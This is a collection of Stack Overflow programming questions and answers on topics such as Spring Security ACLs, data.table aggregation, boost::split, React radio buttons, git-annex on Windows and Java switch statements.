29625739	0	Spring security additional rights on some entity <p>we have implemented a web application and use spring's pre-post-annotations to secure the access to some rights.</p> <p>At the moment it is quite simple. We have companies. You can have read/write/admin permission on a company.</p> <pre><code>public class Company { @Id private Long id; private String name; } </code></pre> <p>So we have the database tables user, company and of course the spring security tables acl_class, acl_entry, acl_object_identity and acl_sid.</p> <p>Now there are special entities underlying a company, let's say this is the employee.</p> <pre><code>public class Employee { @Id private Long id; private String name; private Company company; } </code></pre> <p>One company can have many employees and a employee can only be employed at one company.</p> <p>Now not every user may have read/right access onto a employee. The user must have a read/write/admin right to a company AND has to have a special right to read/write/admin the employee. So it is possible a user can have a write permission to company X but not even read access to company X's employees. A user may have only read access to company Y and write access to all employees of company Y.</p> <p>There shall be no further limitations on specific employees. Just all employees of one company.</p> <p>I actually don't want to manage dynamically all acl objects for every employee but be a little more dynamic. I'm thinking of something like a "permission flag", extending a base permission on a company-permission. Do you have an idea how I could solve this most elegant and easy?</p> <p>I didn't find a good example in the spring security documentation. Is this a bad practice?</p> <p>Thanks a lot for help :-)</p>
36247450	0	How get number from argument line? <p>I have this code </p> <pre><code>#include&lt;stdio.h&gt; int main(int argc, char * argv[]){ printf("%i\n", (int) *argv[1]) } </code></pre> <p>when I execute compiled code with command <em>./a.out 6</em> it prints number 54, but I need exactly 6.</p>
11792933	0	Can We show the string value as a measure on mondrian olap <p>I want to show the string value as one of the measure value. When a fact table has a integer value and string value respectively and also has some foreign table's keys. Then I could show the integer value as a measure value, but I couldn't show the string value as a measure. Because <a href="http://mondrian.pentaho.com/documentation/xml_schema.php#Measure" rel="nofollow">Measure element</a> in schema of cube (written in XML) doesn't allow that a measure value doesn't have 'aggregator'(It specify the aggregate function of measure values). Of course I understood that we can't aggregate some string values. But I want to show the string value of the latest level in hierarchy.</p> <p>I read following article. <a href="http://type-exit.org/adventures-with-open-source-bi/wp-content/uploads/2010/07/display_props.png" rel="nofollow">A figure</a> (around middle of this page) shows a cube that contains string value as a measure value. But this is an example of Property value of Dimension table, so this string value isn't contain in fact table. I want to show the string value that contains in fact table.</p> <p><a href="http://type-exit.org/adventures-with-open-source-bi/2010/07/a-simple-date-dimension-for-mondrian-cubes/" rel="nofollow">A Simple Date Dimension for Mondrian Cubes</a></p> <p>Anyone have some idea that can be shown the string value as a measure value? Or I have to edit Mondrian's source code?</p>
10953442	0	 <p>Here is one way to achieve this by folding within the <code>Iteratee</code> and an appropriate (kind-of) State accumulator (a tuple here)</p> <p>I go read the <code>routes</code> file, the first byte will be read as a <code>Char</code> and the other will be appended to a <code>String</code> as UTF-8 bytestrings.</p> <pre><code> def index = Action { /*let's do everything asyncly*/ Async { /*for comprehension for read-friendly*/ for ( i &lt;- read; /*read the file */ (r:(Option[Char], String)) &lt;- i.run /*"create" the related Promise and run it*/ ) yield Ok("first : " + r._1.get + "\n" + "rest" + r._2) /* map the Promised result in a correct Request's Result*/ } } def read = { //get the routes file in an Enumerator val file: Enumerator[Array[Byte]] = Enumerator.fromFile(Play.getFile("/conf/routes")) //apply the enumerator with an Iteratee that folds the data as wished file(Iteratee.fold((None, ""):(Option[Char], String)) { (acc, b) =&gt; acc._1 match { /*on the first chunk*/ case None =&gt; (Some(b(0).toChar), acc._2 + new String(b.tail, Charset.forName("utf-8"))) /*on other chunks*/ case x =&gt; (x, acc._2 + new String(b, Charset.forName("utf-8"))) } }) } </code></pre> <p><strong>EDIT</strong></p> <p>I found yet another way using <code>Enumeratee</code> but it needs to create 2 <code>Enumerator</code> s (one short lived). However is it a bit more elegant. We use a "kind-of" Enumeratee but the <code>Traversal</code> one which works at a finer level than Enumeratee (chunck level). We use <code>take</code> 1 that will take only 1 byte and then close the stream. On the other one, we use <code>drop</code> that simply drops the first byte (because we're using a Enumerator[Array[Byte]])</p> <p>Furthermore, now <code>read2</code> has a signature much more closer than what you wished, because it returns 2 enumerators (not so far from Promise, Enumerator)</p> <pre><code>def index = Action { Async { val (first, rest) = read2 val enee = Enumeratee.map[Array[Byte]] {bs =&gt; new String(bs, Charset.forName("utf-8"))} def useEnee(enumor:Enumerator[Array[Byte]]) = Iteratee.flatten(enumor &amp;&gt; enee |&gt;&gt; Iteratee.consume[String]()).run.asInstanceOf[Promise[String]] for { f &lt;- useEnee(first); r &lt;- useEnee(rest) } yield Ok("first : " + f + "\n" + "rest" + r) } } def read2 = { def create = Enumerator.fromFile(Play.getFile("/conf/routes")) val file: Enumerator[Array[Byte]] = create val file2: Enumerator[Array[Byte]] = create (file &amp;&gt; Traversable.take[Array[Byte]](1), file2 &amp;&gt; Traversable.drop[Array[Byte]](1)) } </code></pre>
5243226	0	 <blockquote> <p>The following code</p> </blockquote> <p>is missing. </p> <p>Anyway when I was using WatiN + Nunit + MSVS, I had this configuration in my testing project:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;configuration&gt; &lt;configSections&gt; &lt;sectionGroup name="NUnit"&gt; &lt;section name="TestRunner" type="System.Configuration.NameValueSectionHandler"/&gt; &lt;/sectionGroup&gt; &lt;/configSections&gt; &lt;NUnit&gt; &lt;TestRunner&gt; &lt;!-- Valid values are STA,MTA. Others ignored. --&gt; &lt;add key="ApartmentState" value="STA" /&gt; &lt;/TestRunner&gt; &lt;/NUnit&gt; &lt;/configuration&gt; </code></pre>
24266101	0	Keep Empty Factor Levels During Aggregation <p>I'm using data.table to aggregate values, but I'm finding that when the "by" variable has a level not present in the aggregation, it is omitted, even if it is specified in the factor levels.</p> <p>The code below generates a data.table with 6 rows, the last two of which only have one of the two possible levels for f2 nested within f1. During aggregation, the {3,1} combination is dropped.</p> <pre><code>set.seed(1987) dt &lt;- data.table(f1 = factor(rep(1:3, each = 2)), f2 = factor(sample(1:2, 6, replace = TRUE)), val = runif(6)) str(dt) Classes ‘data.table’ and 'data.frame': 6 obs. of 3 variables: $ f1 : Factor w/ 3 levels "1","2","3": 1 1 2 2 3 3 $ f2 : Factor w/ 2 levels "1","2": 1 2 2 1 2 2 $ val: num 0.383 0.233 0.597 0.346 0.606 ... - attr(*, ".internal.selfref")=&lt;externalptr&gt; dt f1 f2 val 1: 1 1 0.3829077 2: 1 2 0.2327311 3: 2 2 0.5965087 4: 2 1 0.3456710 5: 3 2 0.6058819 6: 3 2 0.7437177 dt[, sum(val), by = list(f1, f2)] # output is missing a row f1 f2 V1 1: 1 1 0.3829077 2: 1 2 0.2327311 3: 2 2 0.5965087 4: 2 1 0.3456710 5: 3 2 1.3495996 # this is the output I'm looking for: f1 f2 V1 1: 1 1 0.3829077 2: 1 2 0.2327311 3: 2 2 0.5965087 4: 2 1 0.3456710 5: 3 1 0.0000000 # &lt;- the missing row from above 6: 3 2 1.3495996 </code></pre> <p>Is there a way to achieve this behavior?</p>
10441943	0	php undefined index error with if/else shortcode <p>I am trying to clean up my error log. This error is still generated:</p> <pre><code>[Tue Apr 24 06:09:32 2012] [error] [client 44.444.69.28] PHP Notice: Undefined index: current_id in /srv/www/virtual/website.com/htdocs/wp-content/themes/mimbo/sidebar.php on line 12 </code></pre> <p>from this code:</p> <pre><code>$posts = get_posts('numberposts=4&amp;exclude=' . isset($GLOBALS['current_id']) ? $GLOBALS['current_id'] : '' . '&amp;category='. $category-&gt;term_id); </code></pre> <p>and I have also tried this:</p> <pre><code>$posts = get_posts('numberposts=4&amp;exclude=' . array_key_exists('current_id',$GLOBALS) ? $GLOBALS['current_id'] : '' . '&amp;category='. $category-&gt;term_id); </code></pre> <p>I added the if/else shortcode to check the current id which I thought would eliminate the error, but it still has not gone away.</p>
16207308	0	 <p>You could try and have a hook on the server, triggered when receiving (like, for instance, this <a href="https://github.com/kwangchin/GitHubHook" rel="nofollow"><strong>GitHubHook</strong>: a GitHub Post-Receive Deployment Hook</a>), which would:</p> <ul> <li>modify the local <code>.git/config</code> file</li> <li>adding a user.name and user.email in said config file</li> </ul> <p>That would presume the deploys commits are done <em>before</em> the next push from GitHub to the server, otherwise, the wrong credential would be used.</p> <p>If the previous point is a concern, then you can improve that by:</p> <ul> <li>storing those credentials elsewhere, in order of the deployments, </li> <li>and make sure the deploy commits are done with a <code>git commit --author='AUserName &lt;some@email.com&gt;</code>, with name and email extracted from the separate file, based on the recorded order.</li> </ul> <p>In that last case, no need to modifying a local config: you build your <code>git commit</code> command with the right parameters, instead of relying on a local config file content.</p>
8512536	0	Using RVM gemsets inside of Vim <p>I have set up a <code>.rvmrc</code> file for my project, which simply looks like this</p> <pre><code>rvm use 1.9.3@myproj </code></pre> <p>My Vim workflow is to <code>:cd</code> into the project's directory and then use CommandT to navigate between files and execute specs via <code>:!bundle exec rspec %</code>.</p> <p>The problem is, that when I add something to my Gemfile and run <code>bundle install</code> from terminal and then go back to MacVim, it tells me to run <code>bundle install</code> again.</p> <p>When I do <code>:!rvm gemset gemdir</code>, it shows me that it's not using the desired gemset, meaning it returns only </p> <pre><code>/Users/darth/.rvm/gems/ruby-1.9.3-p0 </code></pre> <p>instead of </p> <pre><code>/Users/darth/.rvm/gems/ruby-1.9.3-p0@myproj </code></pre> <p>I tried doing <code>:!rvm gemset use myproj</code> but it doesn't seem to work.</p> <pre><code>:!rvm gemset use myproj /Users/darth/.rvm/bin/rvm: line 44: typeset: -g: invalid option typeset: usage: typeset [-afFirtx] [-p] name[=value] ... RVM is not a function, selecting rubies with 'rvm use ...' will not work. Using /Users/darth/.rvm/gems/ruby-1.9.3-p0 with gemset myproj </code></pre> <p>because if I do <code>:!rvm gemset gemdir</code> right after that, it still returns the default path, not the <code>@myproj</code> gemset.</p> <p>I'm using MacVim on OS X Lion, but I'm having the same problem in terminal Vim too.</p>
2555747	0	 <p>Another approach is to use <a href="http://www.amfphp.org/" rel="nofollow noreferrer">amfphp library</a> and thus send/receive data in Flash native AMF format which Flash can fast way faster.</p>
16309424	0	force-skip the Stripe connect account application form <p>The Stripe <a href="https://stripe.com/docs/connect/getting-started" rel="nofollow">getting started guide</a> suggests that you can force-skip the bank information form when testing your oAuth flow in development. How do I do this?</p>
6317867	0	 <p><strong>Update 2013/2014</strong>: as <a href="http://stackoverflow.com/a/16166803/6309">mentioned below</a> by <a href="http://stackoverflow.com/users/541412/abbafei">Abbafei</a>, there is a <strong>beta version</strong> (as of Oct. 2014) for Windows.</p> <blockquote> <p>version 5.20140221</p> <p>The Windows port of the assistant and webapp is now considered to be beta quality. There are important missing features (notably Jabber), documented on windows support, but the webapp is broadly usable on Windows now.</p> </blockquote> <p>The most recent update for Windows (<a href="http://git-annex.branchable.com/devblog/day_219__catching_up_and_looking_back/" rel="nofollow">day 219, Sept. 13th, 2014</a>), mentions:</p> <blockquote> <p>Windows support improved more than I guessed in my wildest dreams.</p> <p><code>git-annex</code> went from working not too well on the command line to being pretty solid there, as well as having a working and almost polished webapp on Windows.<br> There are still warts -- it's Windows after all!</p> </blockquote> <p>So the situation is improving, but that remains a work in progress.</p> <hr> <p>Original answer (June 2011)</p> <p>That <a href="http://www.mail-archive.com/vcs-home@lists.madduck.net/msg00233.html" rel="nofollow">recent thread</a> (March 2011) doesn't leave much hope:</p> <blockquote> <p>Well, I can tell you that it assumes a POSIX system, both in available utilities and system calls, So you'd need to use cygwin or something like that. (Perhaps you already are for git, I think git also assumes a POSIX system.) So you need a Haskell that can target that.<br> What this page refers to as "<a href="http://www.haskell.org/ghc/docs/6.6/html/building/platforms.html" rel="nofollow">GHC-Cygwin</a>": I don't know where to get one.<br> Did find <a href="http://copilotco.com/mail-archives/haskell-cafe.2007/msg00824.html" rel="nofollow">this thread</a>.<br> (There are probably also still some places where it assumes / as a path separator, although I fixed some.) FWIW, git-annex works fine on OS X and other fine proprietary unixen. ;P</p> </blockquote> <p>You also find that coment in this <a href="http://git-annex.branchable.com/bugs/git-annex_directory_hashing_problems_on_osx/" rel="nofollow">bug report</a> (March 2011):</p> <blockquote> <p>Currently the hashed directories in <code>.git-annex</code> allow for upper and lower case directory names... on linux (or any case sensitive filesystem) the directory names such as '<code>Gg</code>' and '<code>GG</code>' are different and unique.<br> However on systems like OSX (<strong>and probably windows if it is ever supported</strong>) the directory names '<code>Gg</code>' is the same as '<code>GG</code>'</p> </blockquote>
20150737	0	 <p>Give this a try.</p> <pre><code>&lt;script&gt; var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-4XXXXXXX-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); &lt;/script&gt; </code></pre> <p>If you just set this up, you should be able to see analytics in the "Realtime" panel. Many of the other panels can take over a day before analytics are visible.</p> <p>If you're using Google Chrome, you might also try the tag debugger plugin by <a href="https://chrome.google.com/webstore/detail/observepoint-tag-debugger/daejfbkjipkgidckemjjafiomfeabemo?hl=en-US">ObservePoint</a> or the <a href="https://chrome.google.com/webstore/detail/tag-assistant-by-google/kejbdjndbnbjgmefkgdddjlbokphdefk?hl=en">Official Tag assistant plugin by Google</a></p>
326650	0	Vertically align text within input field of fixed-height without display: table or padding? <p>The line-height property usually takes care of vertical alignment, but not with inputs. Is there a way to automatically center text without playing around with padding?</p>
7504465	0	 K2 is a Windows Server platform that allows the creation and management of business workflows that consume data from a variety of data sources; on top of the .Net platform.
9836915	0	how windows media player call third-party Decoder MFT? <p>According the decoder sample in Windows SDK, I realize myself decoder MFT, but there is one question about third-party MFT. I register a amr codec MFT, debug with windows sample code), connect the topology manually, it can play normally. But if I run windows media player, it doesn't play the file include amr codec.</p> <p>What should I do? Windows media player can call my codec MFT automatically.</p> <p>Other question is about MERIT like directshow.</p>
31686204	0	Displaying a legend in a line chart using Telerik UI for Xamarin <p>How can I display a legend in a line chart using Telerik's UI for Xamarin?</p> <p>Is it possible to accomplish this without creating a customer renderer?</p> <p>Thanks for the help,</p> <p>Anthony</p>
11869768	0	 <p>If I'd had to do that I would try it the following way:</p> <p>add some <code>Uri</code> that when you insert or delete using that <code>Uri</code> triggers database deletion inside your <code>ContentProvider</code>. When deleting also clear all references to the <code>SQLiteDatabase</code> since it is possible that you can still access the old database file through that (If you delete a file in Linux and you have that file open you can still use it - it's just no longer accessible via the path).</p> <p>By putting the deletion inside the <code>ContentProvider</code> you should be able to close the database connection and track the deletion state in a way that you know that you need to recreate the database file.</p> <p><code>ContentProviders</code> don't quit unless you kill your app so you probably have the same instance running and probably references to the old file as mentioned above</p>
40381603	0	Is there an appropriate way to inject a service into singleton? <h2>Update</h2> <p>I will leave this question for now since there may or may not be a valid use case for something like this. For my case this was a design problem and instead of using a Singleton, I found a natural location to create an instance of a plain object and pass a reference to it were ever it is needed. Since it's now a plain object I can use constructor injection again. </p> <hr> <h2>Original question</h2> <p>I have what I think is an appropriate use of a Singleton. It's an object that will lazily load the images for folders and filetypes for use in a <a href="http://jruby.org" rel="nofollow noreferrer">JRuby</a>, <a href="https://www.eclipse.org/swt" rel="nofollow noreferrer">SWT</a> application.</p> <p>The class will look something like below. The methods need an instance of Display to create the images.</p> <p>The question is, what's the appropriate to inject the Display object and why? I was thinking of using a <code>begin ... rescue</code> block to set the value of @display to nil if the Display is not available and then providing a setter for unit testing. </p> <p>I always wonder if I am doing something wrong when I think I need a Singleton, even more so when I need to do something unusual with a Singleton, so I would not rule other other options.</p> <pre><code>require "singleton" class FileSystemIcons include Singleton attr_accessor :display, :cached_folder_image, :cached_file_images def initialize @display = Display.display @cached_folder_image = nil @cached_file_images = {} end def folder_image unless cached_folder_image ... self.cached_folder_image = converted_image end cached_folder_image end def file_image file_name ... unless cached_file_images[ext] ... cached_file_images[ext] end end end </code></pre>
5229744	0	 <p>You have to use iTune to run a .ipa file. But iTunes can be used to run .ipa files on devices only. </p>
13321307	0	 <p>Are you sure <code>$s</code> is a string and not an array? If it is an array, <code>$s.Length</code> will be the number of elements in the array and you could get the error that you are getting.</p> <p>For example:</p> <pre><code>PS &gt; $str = @("this", "is", "a") PS &gt; $str.SubString($str.Length - 1) Exception calling "Substring" with "1" argument(s): "startIndex cannot be larger than length of string. Parameter name: startIndex" At line:1 char:1 + $str.SubString($str.Length - 1) + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentOutOfRangeException </code></pre>
36773463	0	reactjs radio group setting checked attribute based on state <p>Clicking on the second radio button changes the state which triggers the render event. However, it renders the first radio button as the checked one again even though state.type got changed.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var MyComponent = React.createClass({ getInitialState: function() { return { type: 1 }; }, render: function() { console.log('-&gt;&gt; type: ' + this.state.type);//prints the expected value return (&lt;div className="my-component"&gt; &lt;label&gt;type 1&lt;/label&gt; &lt;input ref="type1Selector" type="radio" name="type" id="type1" onChange={this.changeHandler} checked={this.state.type === 1}/&gt;&lt;br/&gt; &lt;label&gt;type 2&lt;/label&gt; &lt;input ref="type2Selector" type="radio" name="type" id="type2" onChange={this.changeHandler} checked={this.state.type === 2}/&gt;&lt;br/&gt; &lt;/div&gt;); }, changeHandler: function(e) { e.preventDefault(); var t = e.currentTarget; if(t.id === 'type1') { this.setState({type: 1}); } else { this.setState({type: 2}); } } }); ReactDOM.render(&lt;MyComponent /&gt;, document.getElementById('container'));</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.0.1/react-with-addons.min.js"&gt;&lt;/script&gt; &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/react/15.0.1/react-dom.min.js"&gt;&lt;/script&gt; &lt;meta charset="utf-8"&gt; &lt;meta name="viewport" content="width=device-width"&gt; &lt;title&gt;JS Bin&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="container"&gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt;</code></pre> </div> </div> </p> <p>Can someone tell how to get this to work and why react is behaving like this?</p>
26989848	0	How to get Host of other flow in Mule? <p>I have 2 APIs: </p> <ul> <li>API A with endpoint: <code>http://hostnameA/pathA</code></li> <li>API B with endpoint: <code>http://hostnameB/pathB</code></li> </ul> <p>API A call API B, that mean: Client send request -> API A -> API B. Now I want to get hostname of API A at API B (Note: API B is created by me, API A is create by other, I can not touch API A). </p> <p>Please let me know how to get hostname of API A?</p>
5734304	0	c++ boost split string <p>I am using the <code>boost::split</code> method to split a string as this:</p> <p>I first make sure to include the correct header to have access to <code>boost::split</code>:</p> <pre><code>#include &lt;boost/algorithm/string.hpp&gt; </code></pre> <p>then:</p> <pre><code>vector&lt;string&gt; strs; boost::split(strs,line,boost::is_any_of("\t")); </code></pre> <p>and the line is like</p> <pre><code> "test test2 test3" </code></pre> <p>This is how I consume the result string vector:</p> <pre><code>void printstrs(vector&lt;string&gt; strs){ for(vector&lt;string&gt;::iterator it = strs.begin();it!=strs.end();++it){ cout&lt;&lt;*it&lt;&lt; "-------"; } cout&lt;&lt;endl; } </code></pre> <p>But why in the result <code>strs</code> I only get <code>"test2"</code> and <code>"test3"</code>, shouldn't be <code>"test"</code>, <code>"test2"</code> and <code>"test3"</code>, there are <code>\t</code> (tab) in the string.</p> <p><strong>Updated Apr 24th, 2011:</strong> It seemed after I changed one line of code at <code>printstrs</code> I can see the first string. I changed </p> <pre><code>cout&lt;&lt;*it&lt;&lt; "-------"; </code></pre> <p>to </p> <pre><code>cout&lt;&lt;*it&lt;&lt;endl; </code></pre> <p>And it seemed <code>"-------"</code> covered the first string somehow.</p>
32229591	0	Why does the case statement doesn't take variables? <p>I know that this is a silly question,but I wanted to know why the case label doesn't take variables. The code is-</p> <pre><code>public class Hello { public static void main(String[] args) { final int y=9; int a=1,b=2,c=3; switch(9) { case y: { System.out.println("Hello User"); break; } case a: { System.out.println("Hello World"); break; } case b: { System.out.println("Buff"); break; } default: { System.out.println("Yo bitch"); break; } } } } </code></pre> <p>Although, I have initialized a,b and c,yet it is showing errors.Why?</p>
11078616	0	 <p>Under Linux (and maybe some other unix-based operating systems), you can mount a formatted image file using the <code>-o loop</code> option of the mount command:</p> <pre><code>mount -o loop /path/to/image_file mount_point </code></pre>
38923431	0	 <p>You should use reflection to get into relative path:</p> <pre><code>public static string PredictAbsoluteFilePath(string fileName) { return Path.Combine(Path.GetDirectoryName(System.Reflection.Assembly.GetExecutingAssembly().Location), fileName); } </code></pre> <p>You can use it like this:</p> <pre><code>string path = Utils.PredictAbsoluteFilePath("relativeFile.xml"); //assuming that currect executing file is in D:\Programs\MyApp directory //path is now 'D:\Programs\MyApp\relativeFile.xml' </code></pre>
15660385	0	 <p>I can't speak to the first question directly, but assuming that @korefn and @om-nom-nom are correct; that the block is a closure and is interpreting the return as a void.</p> <p>In response to your update, I would try:</p> <pre><code>@for(i &lt;- 1 to 10) { &lt;option value="@i"&gt;@i&lt;/option&gt; } </code></pre> <p>which is how I've used it in the past. I've also found it helpful to use a nested @if block to handle the selected option differently so that it is selected on loading the document.</p>
7696001	0	How to create a incomming call broad receiver programatically <p>I have managed to put a broadcast receiver from the manifest file, it looks like this:</p> <pre><code> &lt;receiver android:name=".BReceivers.CallBReciever"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.PHONE_STATE" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; </code></pre> <p>Now what i am trying to do is to take it out of the manifest and start it only when the user presses a certain button, which should look somethings like this:</p> <pre><code> Button start = (Button) findViewById(R.id.Button_Start); start.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { @Override public void onReceive(Context context, Intent arg1) { Log.d("aaa", "bbb"); switch (getResultCode()) { } } }, new IntentFilter(Intent.ACTION_CALL)); } } }); </code></pre> <p>But i don't get into the receiver, any idea why? what IntentFilter String param should i use?</p>
1308566	0	 <pre><code>elem.nextSibling.nodeValue.replace('\n', '') </code></pre> <p>The replace is to get rid of the newline (may be different on different OSes, I am running Windows) character which is there for some reason.</p>
12072825	0	 <p>I think converting the switch expression to unsigned type will do the trick.</p> <pre><code>switch((unsigned char)ent-&gt;d_name[i]) { ... } </code></pre>
27095846	0	While loop for converting Celsius to Fahrenheit Java <pre><code>import java.util.*; public class lab1 { public static void main(String args []) { double Fahrenheit; int celsius = 0; while (celsius &lt;= 15); Fahrenheit= (9.0/5.0 * celsius) + 32; System.out.println( "Fahrenheit:" + Fahrenheit + "celsius:" + celsius); celsius++; } } </code></pre> <p>I have a problem with this program. I get no compile errors, but when I run it it doesn't display the results. Celsius temperature is given and I need to add 1 every time I find the Fahrenheit. Also: how do I show the results in two columns, like in the example below (instead of math and English I want to put Fahrenheit and Celsius)</p> <pre><code>Math scores English scores 0 0 2 2 3 7 4 10 2 0 2 1 </code></pre>
23160927	0	 <p>You have to pass the delegate into the method with out the "Cattle Wars" parameter</p> <pre><code> testDel(p.handler); </code></pre> <p>Then you method should look like the following.</p> <pre><code> public void testDel(Del d) { d.Invoke("L"); } </code></pre> <p>I will have to say that delegates still seem strange to me. I know that they are just variables that are type safe and thread safe. You can use the variable just like calling the method name.</p> <pre><code> public delegate void Del(string e); Del handler = DelegateMethod; </code></pre> <p>In your example here your delegate can be set to any method that has a return type of <strong>void</strong> and takes one argument that is a string. </p> <pre><code> Del handler = DelegateMethod; </code></pre> <p>The above is where you declare you delegate but you also can declare the delegate to any methods that excepts void and one parameter as a string.</p> <pre><code> handler = BaseBall; public void BaseBall(string a) { //code here } </code></pre> <p>I would just keep reading you will learn as you go.</p>
10025091	0	The present of FileOutputStream cause the InputStream.read error <p>I have some problem with Java IO, this code below is not working, the variable count return -1 directly.</p> <pre><code>public void putFile(String name, InputStream is) { try { OutputStream output = new FileOutputStream("D:\\TEMP\\" + name); byte[] buf = new byte[1024]; int count = is.read(buf); while( count &gt;0) { output.write(buf, 0, count); count = is.read(buf); } } catch (FileNotFoundException e) { } catch (IOException e) { } } </code></pre> <p>But if I commented the OutputStream such as</p> <pre><code> public void putFile(String name, InputStream is) { try { //OutputStream output = new FileOutputStream("D:\\TEMP\\" + name); byte[] buf = new byte[1024]; int count = is.read(buf); while( count &gt;0) { //output.write(buf, 0, count); count = is.read(buf); } } catch (FileNotFoundException e) { } catch (IOException e) { } } </code></pre> <p>The count will return the right value (>-1). How is this possible ? Is it a bug ?</p> <p>I'm using Jetty in Eclipse with Google plugins and Java 6.21 in Windows 7. PS :I change the original code, but it doesn't affect the question</p>
21813359	0	 <p>The first 5 constructor calls are clear. Then there 3 destructor calls. The first <code>c</code> array was declared inside a block:</p> <pre><code>{ C c[2] //... } // objects in c are destroyed </code></pre> <p>When the block is left then all objects that were created non-dynamically inside the block are destroyed by calling their destructor. So there is the first destructor call from your <code>delete p2</code> and then two other destructor calls for destroying the two objects contained in the array. The same holds for the last four destructor calls at the end: the first destructor call os from your <code>delete p1</code> and the other three destructor calls are for the <code>C c[2]</code> that was declared outside the block and for destroying the <code>c1</code> object.</p>
22458849	0	No armeabi folder <p>I´m trying to integrate SQLCipher with my android application. I´m getting the following error when running the app:</p> <p><strong>java.lang.Unsatisfiedlinkerror Couln´t load stlport_shared: find library returned NULL</strong></p> <p>The thing is i have already add to my classpath the following JARS</p> <p>commons-codec.jar</p> <p>guava-r09.jar</p> <p>sqlcipher.jar</p> <p><strong>In the instructions it says, u have to add 3 .os files into armeabi folder inside libs, but in my libs folder I only have android-suppor-v4.jar</strong></p> <p>What do I have to do? Any ideas?</p> <p>Regards!</p>
14331978	0	 <p>I'm thinking all you are really looking for is where <a href="http://en.wikipedia.org/wiki/Line_segment_intersection" rel="nofollow">line segment intersections</a>. This can be done in O((N+k) log N), where N is the number of line segments (roughly the number of vertices) and k is the number of intersections. Using the Bentley-Ottmann algorithm. This would probably be best done using ALL of the polygons, instead of simply considering only two at a time. </p> <p>The trouble is keeping track of which line segments belong to which polygon. There is also the matter that considering all line segments may be worst than simply considering only two polygons, in which case you stop as soon as you get one valid intersection (some intersections may not meet your requirements to be count as an overlap). This method is probably faster, although it may require that you try different combinations of polygons. In which case, it's probably better to simply consider all line segments.</p>
16172907	0	 <p>You can use the <a href="http://www.codeproject.com/Articles/168662/Time-Period-Library-for-NET" rel="nofollow">Time Period Library for .NET</a> to calculate overlapping and intersecting time periods.</p>
15324248	0	Delete selected/all rows from gridview with javascript <p>As the title says, I have a simple 5column/5rows GridView which represents a shopping cart in asp.net. I need to use javascript to delete selected row and all the rows on button click. How could that be done? Total price should change too when an item is removed. Thx in advance.</p> <p>This is sample aspx code:</p> <pre><code> &lt;%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Kosarica.aspx.cs" Inherits="Spletna_kosarica_2.Kosarica" EnableSessionState="True" %&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;head runat="server"&gt; &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form id="form1" runat="server"&gt; &lt;div&gt; &lt;h2&gt;Kosarica:&lt;/h2&gt; &lt;p&gt; &lt;asp:GridView ID="GridView1" runat="server" Width="440px" AutoGenerateSelectButton="True"&gt; &lt;/asp:GridView&gt; &lt;/p&gt;&lt;/div&gt; &amp;nbsp;&lt;asp:Button ID="Button2" runat="server" onclick="Button2_Click" Text="Dodaj artikel" Width="143px" /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;asp:Button ID="Button3" runat="server" Text="Remove" /&gt; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;asp:Label ID="Label1" runat="server" Text="Total price:"&gt;&lt;/asp:Label&gt; &amp;nbsp;&lt;asp:Label ID="Label2" runat="server" Text="Label"&gt;&lt;/asp:Label&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
20865945	0	 <p>You may have to do this with the beforeRender() function.</p> <p>These links may help.</p> <p><a href="http://www.yiiframework.com/wiki/249/understanding-the-view-rendering-flow/" rel="nofollow">http://www.yiiframework.com/wiki/249/understanding-the-view-rendering-flow/</a></p> <p><a href="http://www.yiiframework.com/wiki/54/" rel="nofollow">http://www.yiiframework.com/wiki/54/</a></p>
39716494	0	 <p>You should have to understand the concept to use of volley library and image uploads. Here are some other useful links for image upload and use of volley library.</p> <p><a href="http://www.androidhive.info/2014/05/android-working-with-volley-library-1/" rel="nofollow">volley library</a></p> <p><a href="http://www.androidhive.info/2014/12/android-uploading-camera-image-video-to-server-with-progress-bar/" rel="nofollow">Image upload using multipart</a></p> <p>Note: I have also tested your tutorial.code are ok. Plz check your image path properly. If possible then use their php code on any hosted web server. and check their json response and coross check ur parameter which U have passed with server script's parameters..</p>
11929291	0	 <p>You said "... when I send the same mail for outlook client ..."; did you mean <strong>from</strong> Outlook client?</p> <p>It's not required that attachments include a filename; perhaps Outlook isn't setting a filename for a .msg attachment. You can use the msgshow.java demo program that comes with JavaMail to dump out the entire structure and content of the message. You also might want to examine the raw MIME content of the message to see exactly what Outlook is sending you.</p> <p>Also, you might want to look at the "isMimeType" method to simplify your code. A message attachment should have a MIME type of message/rfc822.</p>
